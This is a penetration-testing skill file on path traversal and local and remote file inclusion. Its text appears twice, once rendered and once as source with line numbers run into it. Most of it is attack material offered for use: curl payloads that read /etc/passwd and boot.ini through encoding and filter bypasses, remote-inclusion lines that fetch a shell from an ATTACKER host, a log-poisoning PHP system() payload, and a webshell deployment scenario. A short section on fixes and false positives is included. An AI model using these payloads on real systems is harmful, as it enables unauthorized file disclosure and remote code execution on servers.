Path Traversal and File Inclusion
What Is Broken and Why
Applications that construct file paths from user-supplied input without proper canonicalization
and boundary enforcement allow attackers to escape the intended directory. On Linux/Unix, this
enables reading /etc/passwd, SSH keys, application configuration files, and source code. On
Windows, boot.ini, win.ini, and SAM hive files become accessible. Remote File Inclusion (RFI)
extends the impact to arbitrary code execution by loading attacker-controlled URLs as server-side
scripts. Inadequate sanitization — including blacklisting only specific sequences — is routinely
bypassed through encoding variants.
Key Signals
- Parameters named
file=, path=, item=, page=, template=, home=, style=, lang=
- Cookie values like
TEMPLATE=flower or PSTYLE=GreenDotRed containing file references
- PHP source pattern:
(include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
- File upload functionality that stores and later serves files based on user-supplied filenames
- Server error messages revealing absolute file paths on failed inclusion
- Application serving static-looking content with dynamic file parameters
- ASP/JSP/PHP pages that appear to aggregate or display file contents based on URL parameter
Methodology
- Enumerate input vectors: Map all GET, POST, cookie, and hidden field parameters; identify
any that appear to reference file names, paths, templates, or content identifiers.
- Baseline test: Submit simple
../ sequences against each candidate parameter; observe
response differences (size, content, error messages).
- Encoding variants: If simple traversal is blocked, try URL, double, Unicode, and
OS-specific encoding variants.
- Sanitization bypass: If partial sanitization detected, test bypass patterns (nested
....//, spaces, extra periods, backslash mixing).
- OS-specific targets: Test Unix targets (
/etc/passwd) and Windows targets (../../boot.ini,
../../windows/win.ini).
- LFI to RFI probe: If LFI confirmed, test
http://, https://, ftp://, file://
prefixes for remote inclusion.
- LFI to code execution: Test PHP wrappers (
php://filter, php://input, data://),
log poisoning, and session file inclusion chains.
Payloads & Tools
# Basic traversal — Unix
curl "https://TARGET/getUserProfile.jsp?item=../../../../etc/passwd"
curl "https://TARGET/index.php?file=../../../etc/passwd"
# Basic traversal — Windows
curl "https://TARGET/index.asp?file=..\..\..\..\boot.ini"
curl "https://TARGET/index.asp?file=../../../../windows/win.ini"
# URL encoding bypass
curl "https://TARGET/index.php?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# ../ = %2e%2e%2f
# Double URL encoding bypass
curl "https://TARGET/index.php?file=%252e%252e%255cetc%255cpasswd"
# Unicode/UTF-8 bypass
curl "https://TARGET/index.php?file=..%c0%afetc%c0%afpasswd"
curl "https://TARGET/index.php?file=..%c1%9cwindows%c1%9cwin.ini"
# Sanitization bypass — nested sequences (defeats Replace("../",""))
curl "https://TARGET/index.php?file=....//....//etc/passwd"
curl "https://TARGET/index.php?file=....\\....\\boot.ini"
# Windows UNC path
curl "https://TARGET/index.php?file=\\\\ATTACKER\\share\\malicious.txt"
# Remote file inclusion
curl "https://TARGET/index.php?file=http://ATTACKER/shell.txt"
curl "https://TARGET/index.php?file=ftp://ATTACKER/shell.txt"
# PHP filter wrapper (LFI — read source base64 encoded)
curl "https://TARGET/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Cookie-based traversal
curl "https://TARGET/page" -H "Cookie: PSTYLE=../../../../etc/passwd"
# DotDotPwn automated scan
dotdotpwn -m http -h TARGET -f /etc/passwd -k "root:" -d 6
# WFuzz path traversal fuzz
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt \
"https://TARGET/index.php?file=FUZZ"
Bypass Techniques
- Null byte:
../../../etc/passwd%00.jpg — truncates extension check (PHP < 5.3.4).
- Extra dots/spaces:
.. /, ..%20/, .... — confuse regex-based filters.
- Mixed slashes:
..\/ or ..\\/ — bypass OS-specific separator checks.
- Absolute path: If traversal is stripped, try absolute path directly:
/etc/passwd.
- PHP wrappers:
php://filter, data://text/plain;base64,..., expect://id.
- Path length truncation: Very long paths may truncate at OS limit, dropping appended suffix.
- Encoding chain: Mix URL + HTML entity encoding to evade WAF pattern matching.
Exploitation Scenarios
Scenario 1 — Read /etc/passwd via URL Parameter
Setup: https://TARGET/getUserProfile.jsp?item=ikki.html serves profile content from disk.
Trigger: Change item=../../../../etc/passwd; server returns passwd file content in response.
Impact: Username enumeration, identification of service accounts, OSINT for further attacks.
Scenario 2 — LFI via Cookie to Code Execution (Log Poisoning)
Setup: LFI confirmed via TEMPLATE cookie; application logs User-Agent to a predictable path.
Trigger: Send request with User-Agent: <?php system($_GET['cmd']); ?> to poison the log file;
then include log via LFI with cmd=id.
Impact: Remote code execution on the server.
Scenario 3 — RFI for Webshell Deployment
Setup: PHP include($_GET['page']) without allow_url_fopen=Off.
Trigger: page=http://ATTACKER/webshell.txt — attacker hosts a PHP webshell as .txt to bypass
extension checks; server fetches and executes it.
Impact: Full server compromise via interactive webshell.
False Positives
- A parameter named
file= may reference an internal enum or database key, not an actual
filesystem path; confirm by observing whether traversal sequences produce different responses.
../ in a URL fragment that appears in logs but is normalized by the framework before reaching
application code is not exploitable.
- 500 errors on traversal attempts may indicate the path was processed but file not found, not
that traversal is blocked.
Fix Patterns
- Canonicalize paths using
realpath() (PHP) or equivalent; verify the resolved path starts
within the allowed base directory before opening.
- Use a whitelist of allowed file identifiers mapped server-side to paths; never pass user input
directly to filesystem functions.
- Disable
allow_url_include and allow_url_fopen in PHP configuration.
- Disable RFI at the WAF/server level; block outbound HTTP from application tier where possible.
- Run application processes with minimal filesystem permissions.
- Apply input validation rejecting
., %, \, / sequences in file-referencing parameters.
Related Skills
Path traversal is an [[authz-bypass]] on the filesystem — the attacker escapes an intended directory boundary in the same way a session swap escapes a user boundary. When LFI chains to RCE via log poisoning, the code execution primitive is identical to [[cmd-injection]]. If the traversal target is a URL rather than a file path, look at [[ssrf]] for how server-side URL fetching can reach internal resources. In mobile apps, [[mobile-platform-interaction]] covers path traversal via Content Provider URIs.
1---2name: path-traversal3description: Exploit path traversal and local/remote file inclusion (LFI/RFI) via URL parameters, cookies, and hidden fields using ../ sequences, URL encoding (%2e%2e%2f), double encoding (%252e%252e%255c), Unicode bypasses (..%c0%af), and Windows UNC paths. PHP include/require with $_GET/$_POST/$_COOKIE pattern. Target /etc/passwd, boot.ini, web.config. Tools: DotDotPwn, WFuzz, Burp Suite, ZAP.4license: MIT5---67# Path Traversal and File Inclusion89## What Is Broken and Why1011Applications that construct file paths from user-supplied input without proper canonicalization12and boundary enforcement allow attackers to escape the intended directory. On Linux/Unix, this13enables reading `/etc/passwd`, SSH keys, application configuration files, and source code. On14Windows, `boot.ini`, `win.ini`, and SAM hive files become accessible. Remote File Inclusion (RFI)15extends the impact to arbitrary code execution by loading attacker-controlled URLs as server-side16scripts. Inadequate sanitization — including blacklisting only specific sequences — is routinely17bypassed through encoding variants.1819## Key Signals2021- Parameters named `file=`, `path=`, `item=`, `page=`, `template=`, `home=`, `style=`, `lang=`22- Cookie values like `TEMPLATE=flower` or `PSTYLE=GreenDotRed` containing file references23- PHP source pattern: `(include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)`24- File upload functionality that stores and later serves files based on user-supplied filenames25- Server error messages revealing absolute file paths on failed inclusion26- Application serving static-looking content with dynamic file parameters27- ASP/JSP/PHP pages that appear to aggregate or display file contents based on URL parameter2829## Methodology30311. **Enumerate input vectors**: Map all GET, POST, cookie, and hidden field parameters; identify32 any that appear to reference file names, paths, templates, or content identifiers.332. **Baseline test**: Submit simple `../` sequences against each candidate parameter; observe34 response differences (size, content, error messages).353. **Encoding variants**: If simple traversal is blocked, try URL, double, Unicode, and36 OS-specific encoding variants.374. **Sanitization bypass**: If partial sanitization detected, test bypass patterns (nested38 `....//`, spaces, extra periods, backslash mixing).395. **OS-specific targets**: Test Unix targets (`/etc/passwd`) and Windows targets (`../../boot.ini`,40 `../../windows/win.ini`).416. **LFI to RFI probe**: If LFI confirmed, test `http://`, `https://`, `ftp://`, `file://`42 prefixes for remote inclusion.437. **LFI to code execution**: Test PHP wrappers (`php://filter`, `php://input`, `data://`),44 log poisoning, and session file inclusion chains.4546## Payloads & Tools4748```bash49# Basic traversal — Unix50curl "https://TARGET/getUserProfile.jsp?item=../../../../etc/passwd"51curl "https://TARGET/index.php?file=../../../etc/passwd"5253# Basic traversal — Windows54curl "https://TARGET/index.asp?file=..\..\..\..\boot.ini"55curl "https://TARGET/index.asp?file=../../../../windows/win.ini"5657# URL encoding bypass58curl "https://TARGET/index.php?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd"59# ../ = %2e%2e%2f6061# Double URL encoding bypass62curl "https://TARGET/index.php?file=%252e%252e%255cetc%255cpasswd"6364# Unicode/UTF-8 bypass65curl "https://TARGET/index.php?file=..%c0%afetc%c0%afpasswd"66curl "https://TARGET/index.php?file=..%c1%9cwindows%c1%9cwin.ini"6768# Sanitization bypass — nested sequences (defeats Replace("../",""))69curl "https://TARGET/index.php?file=....//....//etc/passwd"70curl "https://TARGET/index.php?file=....\\....\\boot.ini"7172# Windows UNC path73curl "https://TARGET/index.php?file=\\\\ATTACKER\\share\\malicious.txt"7475# Remote file inclusion76curl "https://TARGET/index.php?file=http://ATTACKER/shell.txt"77curl "https://TARGET/index.php?file=ftp://ATTACKER/shell.txt"7879# PHP filter wrapper (LFI — read source base64 encoded)80curl "https://TARGET/index.php?file=php://filter/convert.base64-encode/resource=index.php"8182# Cookie-based traversal83curl "https://TARGET/page" -H "Cookie: PSTYLE=../../../../etc/passwd"8485# DotDotPwn automated scan86dotdotpwn -m http -h TARGET -f /etc/passwd -k "root:" -d 68788# WFuzz path traversal fuzz89wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt \90 "https://TARGET/index.php?file=FUZZ"91```9293## Bypass Techniques9495- **Null byte**: `../../../etc/passwd%00.jpg` — truncates extension check (PHP < 5.3.4).96- **Extra dots/spaces**: `.. /`, `..%20/`, `....` — confuse regex-based filters.97- **Mixed slashes**: `..\/` or `..\\/` — bypass OS-specific separator checks.98- **Absolute path**: If traversal is stripped, try absolute path directly: `/etc/passwd`.99- **PHP wrappers**: `php://filter`, `data://text/plain;base64,...`, `expect://id`.100- **Path length truncation**: Very long paths may truncate at OS limit, dropping appended suffix.101- **Encoding chain**: Mix URL + HTML entity encoding to evade WAF pattern matching.102103## Exploitation Scenarios104105**Scenario 1 — Read /etc/passwd via URL Parameter**106Setup: `https://TARGET/getUserProfile.jsp?item=ikki.html` serves profile content from disk.107Trigger: Change `item=../../../../etc/passwd`; server returns passwd file content in response.108Impact: Username enumeration, identification of service accounts, OSINT for further attacks.109110**Scenario 2 — LFI via Cookie to Code Execution (Log Poisoning)**111Setup: LFI confirmed via `TEMPLATE` cookie; application logs User-Agent to a predictable path.112Trigger: Send request with `User-Agent: <?php system($_GET['cmd']); ?>` to poison the log file;113then include log via LFI with `cmd=id`.114Impact: Remote code execution on the server.115116**Scenario 3 — RFI for Webshell Deployment**117Setup: PHP `include($_GET['page'])` without `allow_url_fopen=Off`.118Trigger: `page=http://ATTACKER/webshell.txt` — attacker hosts a PHP webshell as `.txt` to bypass119extension checks; server fetches and executes it.120Impact: Full server compromise via interactive webshell.121122## False Positives123124- A parameter named `file=` may reference an internal enum or database key, not an actual125 filesystem path; confirm by observing whether traversal sequences produce different responses.126- `../` in a URL fragment that appears in logs but is normalized by the framework before reaching127 application code is not exploitable.128- 500 errors on traversal attempts may indicate the path was processed but file not found, not129 that traversal is blocked.130131## Fix Patterns132133- Canonicalize paths using `realpath()` (PHP) or equivalent; verify the resolved path starts134 within the allowed base directory before opening.135- Use a whitelist of allowed file identifiers mapped server-side to paths; never pass user input136 directly to filesystem functions.137- Disable `allow_url_include` and `allow_url_fopen` in PHP configuration.138- Disable RFI at the WAF/server level; block outbound HTTP from application tier where possible.139- Run application processes with minimal filesystem permissions.140- Apply input validation rejecting `.`, `%`, `\`, `/` sequences in file-referencing parameters.141142## Related Skills143144Path traversal is an [[authz-bypass]] on the filesystem — the attacker escapes an intended directory boundary in the same way a session swap escapes a user boundary. When LFI chains to RCE via log poisoning, the code execution primitive is identical to [[cmd-injection]]. If the traversal target is a URL rather than a file path, look at [[ssrf]] for how server-side URL fetching can reach internal resources. In mobile apps, [[mobile-platform-interaction]] covers path traversal via Content Provider URIs.